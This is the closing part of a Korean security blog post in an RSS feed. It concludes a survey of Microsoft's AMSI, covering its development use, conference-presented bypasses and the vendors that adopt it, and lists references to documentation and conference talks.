this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;[결론]&lt;br /&gt;지금까지 본 게시물에서는 AMSI 기능을 사용해서 개발하는 방법, 외부 컨퍼런스에서 다루는 AMSI 우회 방법 및 소개, AMSI를 활용하고 있는 국내외 보안 벤더 및 다른 제품(총 17개 업체-Antivirus, zip, sandbox), 서비스들에 대해 살펴봤다. AMSI는 윈도우 환경에서 스크립트 기반 공격을 차단하기 위한 큰 발전으로 보이며, 앞으로도 꾸준히 발전될 것으로 보인다. 본 내용은 간략하게 조사한 내용으로써, 더 상세한 조사가 필요될 것으로 보이며, 추가되는 즉시 게시물을 수정하도록 할 것이다.&lt;/p&gt;
&lt;p&gt;[Reference]&lt;br /&gt;[1]&amp;nbsp;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal&lt;/a&gt; &lt;br /&gt;[2]&amp;nbsp;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-functions&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-functions&lt;/a&gt; &lt;br /&gt;[3]&amp;nbsp;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/amsi/nn-amsi-iamsistream&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://docs.microsoft.com/en-us/windows/win32/api/amsi/nn-amsi-iamsistream&lt;/a&gt; &lt;br /&gt;[4]&amp;nbsp;&lt;a href=&quot;https://github.com/Microsoft/Windows-classic-samples/tree/master/Samples/AmsiStream&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/Microsoft/Windows-classic-samples/tree/master/Samples/AmsiStream&lt;/a&gt; &lt;br /&gt;[5]&amp;nbsp;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/amsi/dev-audience&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://docs.microsoft.com/en-us/windows/win32/amsi/dev-audience&lt;/a&gt; &lt;br /&gt;[6]&amp;nbsp;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/amsi/nn-amsi-iantimalwareprovider&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://docs.microsoft.com/en-us/windows/win32/api/amsi/nn-amsi-iantimalwareprovider&lt;/a&gt; &lt;br /&gt;[7]&amp;nbsp;&lt;a href=&quot;https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf&lt;/a&gt; &lt;br /&gt;[8]&amp;nbsp;&lt;a href=&quot;https://www.youtube.com/watch?v=7A_rgu3kbvw&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.youtube.com/watch?v=7A_rgu3kbvw&lt;/a&gt; &lt;br /&gt;[9]&amp;nbsp;&lt;a href=&quot;https://www.youtube.com/watch?v=wBK1fTg6xuU&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.youtube.com/watch?v=wBK1fTg6xuU&lt;/a&gt; &lt;br /&gt;[10]&amp;nbsp;&lt;a href=&quot;https://i.blackhat.com/briefings/asia/2018/asia-18-Tal-Liberman-Documenting-the-Undocumented-The-Rise-and-Fall-of-AMSI.pdf&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://i.blackhat.com/briefings/asia/2018/asia-18-Tal-Liberman-Documenting-the-Undocumented-The-Rise-and-Fall-of-AMSI.pdf&lt;/a&gt; &lt;br /&gt;[11]&amp;nbsp;&lt;a href=&quot;https://kr.bandisoft.com/bandizip/help/antimalware-scan-on-archive/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://kr.bandisoft.com/bandizip/help/antimalware-scan-on-archive/&lt;/a&gt; &lt;br /&gt;[12]&amp;nbsp;&lt;a href=&quot;https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-amsi-integration-protects-against-malicious-scripts/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-amsi-integration-protects-against-malicious-scripts/&lt;/a&gt; &lt;br /&gt;[13]&amp;nbsp;&lt;a href=&quot;http://cn33liz.blogspot.com/2016/05/bypassing-amsi-using-powershell-5-dll.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;http://cn33liz.blogspot.com/2016/05/bypassing-amsi-using-powershell-5-dll.html&lt;/a&gt;&lt;/p&gt;</description>
      <category>기타</category>
      <category>AMSI</category>
      <author>1q</author>
      <guid isPermaLink="true">https://suspected.tistory.com/272</guid>
      <comments>https://suspected.tistory.com/272#entry272comment</comments>
      <pubDate>Fri, 17 Apr 2020 14:39:53 +0900</pubDate>
    </item>
  </channel>
</rss>